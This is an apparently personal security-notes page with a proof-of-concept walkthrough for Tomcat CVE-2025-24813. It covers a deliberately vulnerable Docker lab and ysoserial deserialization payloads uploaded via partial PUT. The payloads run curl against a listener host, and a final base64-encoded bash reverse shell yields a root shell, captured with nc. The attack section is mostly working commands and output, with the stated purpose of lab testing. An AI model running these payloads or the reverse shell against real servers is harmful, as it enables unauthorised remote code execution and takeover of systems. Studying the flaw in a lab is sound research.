> For the complete documentation index, see [llms.txt](https://0xpthree.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xpthree.gitbook.io/notes/exploits-pocs/apache/tomcat-cve-2025-24813.md). # Tomcat - CVE-2025-24813 CVE-2025-24813 is a potential RCE and/or information disclosure and/or information corruption with partial PUT. An attacker could achieve remote code execution if all the following conditions are true - * Writes enabled for the default servlet (disabled by default) * Support for partial PUT (enabled by default) * Application was using Tomcat's file based session persistence with the default storage location * Application included a library that may be leveraged in a deserialization attack The vulnerability affects both Windows and Linux based installation running any of the below Apache Tomcat versions: * 9.0.0.M1 <= Apache Tomcat <= 9.0.98 * 10.1.0-M1 <= Apache Tomcat <= 10.1.34 * 11.0.0-M1 <= Apache Tomcat <= 11.0.2 First available poc was published by [iSee857](https://github.com/iSee857/CVE-2025-24813-PoC/tree/main) targeting a Windows installation, below is the Linux equivalent. ## Setup test environment To setup a test docker container we need to tweak the [Dockerfile](/notes/development/docker/tomcat.md) a little to include `common-collections-x.x.x.jar`, as well as the non-default configuration in `web.xml` and `context.xml`.

<!-- web.xml (enable write for default servlet) -->
<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

<!-- context.xml (file based session persistance with default storage location) -->
<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"/>
</Manager>

I decided to go with Tomcat version 11.0.1 in my test environment. ```docker # Dockerfile # Stage 1: Build stage to copy web apps and make modifications FROM tomcat:11.0.1 as build # Copy the necessary configuration files COPY ./web.xml /usr/local/tomcat/conf/web.xml COPY ./context.xml /usr/local/tomcat/conf/context.xml COPY ./commons-collections-3.2.1.jar /usr/local/tomcat/lib/ # Copy web applications (ROOT and manager) from the `webapps.dist` folder inside the container RUN mkdir -p /usr/local/tomcat/webapps/ROOT && \ cp -r /usr/local/tomcat/webapps.dist/ROOT/* /usr/local/tomcat/webapps/ROOT && \ cp -r /usr/local/tomcat/webapps.dist/manager /usr/local/tomcat/webapps/manager && \ sed -i 's/allow="[^"]*"/allow=".*"/' /usr/local/tomcat/webapps/manager/META-INF/context.xml && \ sed -i '/<\/tomcat-users>/d' /usr/local/tomcat/conf/tomcat-users.xml && \ echo ' ' >> /usr/local/tomcat/conf/tomcat-users.xml && \ echo ' ' >> /usr/local/tomcat/conf/tomcat-users.xml && \ echo ' ' >> /usr/local/tomcat/conf/tomcat-users.xml && \ echo '' >> /usr/local/tomcat/conf/tomcat-users.xml # Stage 2: Final image to run Tomcat FROM tomcat:11.0.1 # Copy from the build stage COPY --from=build /usr/local/tomcat/webapps /usr/local/tomcat/webapps COPY --from=build /usr/local/tomcat/conf /usr/local/tomcat/conf COPY --from=build /usr/local/tomcat/lib /usr/local/tomcat/lib # Expose the necessary port EXPOSE 8080 # Start Tomcat in the foreground CMD ["catalina.sh", "run"] ``` ```bash $ docker build -t tomcat1101 . $ docker run -d -p 8888:8080 --name tomcat1101 tomcat1101 ``` ## Verify vulnerability ### Step 1: Uploading a Malicious Serialized Session Create some random serialized data and upload it with `PUT /anything/session`. The payload is not important at this stage, we just want to verify that the target respond with HTTP 409. ```bash kpen :: ~/tools » java -jar ysoserial-all.jar CommonsCollections7 whoami | base64 -w0 rO0ABXNyABNqYXZhLnV0a... ```

If we login to the docker container we can see that the new serialized session is created in the directory `/usr/local/tomcat/work/Cataline/localhost/ROOT`.

### Step 2: Triggering Execution via Session Cookie Once the session file is uploaded, the attacker triggers deserialization by sending a simple GET request with the JSESSIONID pointing to the malicious session.

Tomcat, seeing this session ID, retrieves the stored file, deserializes it, and executes the embedded Java code, granting full remote access to the attacker. I've noticed during my testing that using CommonCollections6 (cc6) will result in a HTTP 500 response, while cc7 get HTTP 200 response. Both are valid and the payload is triggered as seen below, but I guess cc7 has the edge in terms of stealth. ```bash kpen :: ~/tomcat » java --add-opens java.base/java.util=ALL-UNNAMED -jar ../tools/ysoserial-all.jar CommonsCollections6 'curl http://172.17.0.1:4444/cc6' | base64 -w0 > cc6.ser kpen :: ~/tomcat » java --add-opens java.base/java.util=ALL-UNNAMED -jar ../tools/ysoserial-all.jar CommonsCollections7 'curl http://172.17.0.1:4444/cc7' | base64 -w0 > cc7.ser kpen :: ~/tomcat » python3 exp.py url.txt cc6.ser kpen :: ~/tomcat » python3 exp.py url.txt cc7.ser kpen :: ~/tomcat » python3 -m http.server 4444 Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ... 172.17.0.2 - - [19/Mar/2025 13:10:04] code 404, message File not found 172.17.0.2 - - [19/Mar/2025 13:10:04] "GET /cc6 HTTP/1.1" 404 - 172.17.0.2 - - [19/Mar/2025 13:10:19] code 404, message File not found 172.17.0.2 - - [19/Mar/2025 13:10:19] "GET /cc7 HTTP/1.1" 404 - ``` *** ## POC || GTFO ```bash ## build payload kpen :: ~/tomcat » echo "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" | base64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo= kpen :: ~/tomcat » java --add-opens java.base/java.util=ALL-UNNAMED -jar ../tools/ysoserial-all.jar CommonsCollections6 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}' | base64 -w0 > payload.ser ## run exploit kpen :: ~/tomcat » python3 exp.py ## capture revshell kpen :: ~/tomcat » nc -lvnp 4444 listening on [any] 4444 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 59082 root@1ad748140a56:/usr/local/tomcat# id && hostname uid=0(root) gid=0(root) groups=0(root) 1ad748140a56 ```